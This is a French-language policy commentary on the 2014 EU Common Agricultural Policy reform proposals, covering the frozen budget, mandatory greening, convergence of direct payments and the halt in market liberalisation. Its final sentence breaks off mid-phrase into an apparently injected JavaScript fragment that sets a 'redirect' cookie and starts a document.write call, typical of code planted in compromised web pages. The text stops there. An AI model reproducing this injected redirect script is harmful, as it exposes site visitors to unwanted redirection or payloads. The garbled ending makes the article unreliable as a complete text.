Crise alimentaire, crise agricole, crise environnementale, crise financière : c’est à ces crises successives impactant l’agriculture auxquelles la PAC 2014 tente de répondre (volatilité des marchés agricoles, sécurité alimentaire, légitimité des aides). Mais élaboré depuis plus de 18 mois, autant dire un siècle, le projet présenté en octobre dernier n’a pas pu intégrer la plus graves d’entre elles : la crise de l’Euro dont personne ne sait aujourd’hui jusqu’où elle conduira ou ne conduira pas l’Europe.
Du changement et peu de surprises
A la différence des précédentes réformes (Quotas laitiers en 1984, réforme de 1992 ou découplage des aides en 2003) qui entretenaient un certain suspens la présentation des propositions législatives de la PAC 2014 par Dacian CIOLOS fait exception.
Plusieurs raisons à cela :, le Parlement Européen devenu co-décisionnaire sur la PAC depuis l’application du traité de Lisbonne avait pris l’initiative sur l’orientation des débats. De son côté, la commission avait préparé terrain en novembre 2010 en bâtissant son projet autour de trois scénarios dont deux jugés inefficaces par elle-même. Enfin et surtout, les propositions de la Commission sur le cadre financier 2014-2020 annoncées fin juin 2011 ont eu la primauté sur les propositions de la PAC 2014.
Le budget de la PAC est ainsi gelé sur la période 2014-2020, ce qui inflation oblige se traduira bien par une baisse en terme réel des moyens alloués à l’agriculture.
Quel sens donner à cette réforme de la PAC 2014 ?
En synthèse les propositions de la PAC 2014 se traduisent par un nouvel élan pour l’environnement via le verdissement obligatoire des aides à hauteur de 30% du paiement de base. Applicable pour l’ensemble des aides du 1er pilier, la commission a préféré un territoire européen vert pâle plutôt que quelques zones clairsemées en vert foncé ;
L’autre sujet majeur consistait à entamer le processus de convergence des aides directes entre les Etats-Membres. Redoutée par les Etats-Membres historiques (UE à 15) cette convergence des aides apparaît au final relativement timide sur cet exercice budgétaire 2014-2020.
En revanche, la convergence au sein des Etats-Membre est rendue obligatoire d’ici 2020. Cette transition sera particulièrement sensible en France qui est restée accrochée à ses références « pré »historiques, si ce n’est le premier pas impulsé par Michel BARNIER lors du bilan de santé.
Cette convergence nationale (ou régionale) ne manquera pas de voir s’affronter d’une part les filières agricoles et d’autre part les territoires, tant les écarts peuvent être importants. Si les céréaliers ont encore un bout de chemin à parcourir pour s’approcher de la moyenne nationale, certains systèmes pourraient être davantage affectés soit de part leur haut niveau de DPU (le système « lait intensif +taurillons » peut atteindre 550 €/ha) soit par la contrainte du verdissement lié à la diversité des cultures (Système maïs irrigué).
D’autres mesures dont certaines facultatives sont venues enrichir le dispositif : une bonification de 25% des aides pour les jeunes agriculteurs, la possibilité de dégager 5% des soutiens pour les zones à handicaps naturels, de même que 5% pour le soutien couplé de filières agricoles sensibles.
La conjugaison des crises au pluriel a aussi entamé l’orthodoxie libérale de la Commission. Qu’il s’agisse du maintien des outils d’intervention, de la possibilité de coupler jusqu’à 5% des aides directes, d’adoucissement des règles du droit de la concurrence (organisation des producteurs, interprofession), la PAC 2014, sans revenir en arrière, marque un arrêt dans le « démantèlement » des outils de protection.
Contrairement aux réformes passées (depuis 92 jusqu’en 2003), il n’est pas question de baisse de droits de douanes, de baisse de prix d’intervention, de réduction des capacités de stockage, de poursuite du découplage des aides etc. Ce revirement est aussi le fruit de l’absence d’avancées dans les négociations à l’OMC ; Le cycle de DOHA est dans un coma profond et il est fort probable qu’une future réforme de la PAC sera à négocier d’ici la mise en œuvre d’un nouvel accord à Genève.
Et si on ne pouvait plus financer la PAC à ce niveau ?
Cette proposition de PAC 2014 va désormais être traditionnellement débattue, amendée, et critiquée de toute part Mais au-delà de ces négociations, certains pointent déjà son caractère périmé. Ainsi Stéphane LE FOLL , député européen et probablement l’un des plus fins connaisseurs du dossier PAC en France, appelait dès la if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘